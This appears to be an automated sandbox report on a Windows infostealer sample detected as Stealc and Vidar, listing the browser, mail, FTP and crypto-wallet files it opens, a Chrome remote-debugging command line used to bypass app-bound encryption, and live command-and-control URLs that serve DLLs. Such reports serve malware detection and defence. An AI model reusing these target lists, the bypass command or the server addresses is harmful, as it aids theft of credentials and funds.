Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C55B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C55B1F7

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: ZXVcgrmGRM.exe PID: 3276, type: MEMORYSTR

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe

Code function: 0_2_6C55B341 cpuid

0_2_6C55B341

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe

Code function: 0_2_6C5235A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C5235A0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.ZXVcgrmGRM.exe.4e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2520571764.0000000001207000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2519556904.000000000050B000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZXVcgrmGRM.exe PID: 3276, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: ZXVcgrmGRM.exe PID: 3276, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \Electrum\wallets\
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \Electrum\wallets\
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: window-state.json
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: exodus.conf.json
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: ElectrumLTC
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.0000000000564000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.0000000000564000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.0000000000564000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.0000000000564000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \Electrum-LTC\wallets\
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.SL`

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 0.2.ZXVcgrmGRM.exe.4e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZXVcgrmGRM.exe PID: 3276, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Stealc

Source: Yara match	File source: 0.2.ZXVcgrmGRM.exe.4e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2520571764.0000000001207000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2519556904.000000000050B000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZXVcgrmGRM.exe PID: 3276, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: ZXVcgrmGRM.exe PID: 3276, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	1 Query Registry	Remote Desktop Protocol	1 Archive Collected Data	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Process Injection	Security Account Manager	111 Security Software Discovery	SMB/Windows Admin Shares	4 Data from Local System	11 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	135 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
ZXVcgrmGRM.exe	18%	ReversingLabs
ZXVcgrmGRM.exe	100%	Avira	HEUR/AGEN.1357300
ZXVcgrmGRM.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.219.81.135/c708352984fb7ac0.phplt	0%	Avira URL Cloud	safe
http://185.219.81.135/de4fe4f133a5af6f/msvcp140.dll	0%	Avira URL Cloud	safe
185.219.81.135/c708352984fb7ac0.php	100%	Avira URL Cloud	malware
http://185.219.81.135/c708352984fb7ac0.phpinomi	0%	Avira URL Cloud	safe
http://185.219.81.135/c708352984fb7ac0.php:	0%	Avira URL Cloud	safe
http://185.219.81.135HJKF	0%	Avira URL Cloud	safe
http://185.219.81.135/c708352984fb7ac0.phpUser	0%	Avira URL Cloud	safe
http://185.219.81.135/de4fe4f133a5af6f/vcruntime140.dll	0%	Avira URL Cloud	safe
http://185.219.81.135/c708352984fb7ac0.phpA	0%	Avira URL Cloud	safe
http://185.219.81.135/c708352984fb7ac0.php1	0%	Avira URL Cloud	safe
http://185.219.81.135/c708352984fb7ac0.php)	0%	Avira URL Cloud	safe
http://185.219.81.135/c708352984fb7ac0.php3n	0%	Avira URL Cloud	safe
http://185.219.81.135/c708352984fb7ac0.php=I	0%	Avira URL Cloud	safe
http://185.219.81.135/c708352984fb7ac0.php	100%	Avira URL Cloud	malware
http://185.219.81.135/c708352984fb7ac0.phpmi	0%	Avira URL Cloud	safe
http://185.219.81.135/c708352984fb7ac0.phpER	0%	Avira URL Cloud	safe
http://185.219.81.135/	0%	Avira URL Cloud	safe
http://185.219.81.135/de4fe4f133a5af6f/softokn3.dllJ	0%	Avira URL Cloud	safe
http://185.219.81.135/de4fe4f133a5af6f/freebl3.dll8	0%	Avira URL Cloud	safe
http://185.219.81.135/c708352984fb7ac0.phpP	0%	Avira URL Cloud	safe
http://185.219.81.135a	0%	Avira URL Cloud	safe
http://185.219.81.135/c708352984fb7ac0.phpbird	0%	Avira URL Cloud	safe
http://185.219.81.135/de4fe4f133a5af6f/freebl3.dll	0%	Avira URL Cloud	safe
http://185.219.81.135/c708352984fb7ac0.phpy	0%	Avira URL Cloud	safe
http://185.219.81.135/de4fe4f133a5af6f/softokn3.dll.	0%	Avira URL Cloud	safe
http://185.219.81.135/de4fe4f133a5af6f/nss3.dll	0%	Avira URL Cloud	safe
http://185.219.81.135/c708352984fb7ac0.phpcation	0%	Avira URL Cloud	safe
http://185.219.81.135W	0%	Avira URL Cloud	safe
http://185.219.81.135	0%	Avira URL Cloud	safe
http://185.219.81.135/c708352984fb7ac0.php_O	0%	Avira URL Cloud	safe
http://185.219.81.135/de4fe4f133a5af6f/softokn3.dll	0%	Avira URL Cloud	safe
http://185.219.81.135/de4fe4f133a5af6f/mozglue.dll2	0%	Avira URL Cloud	safe
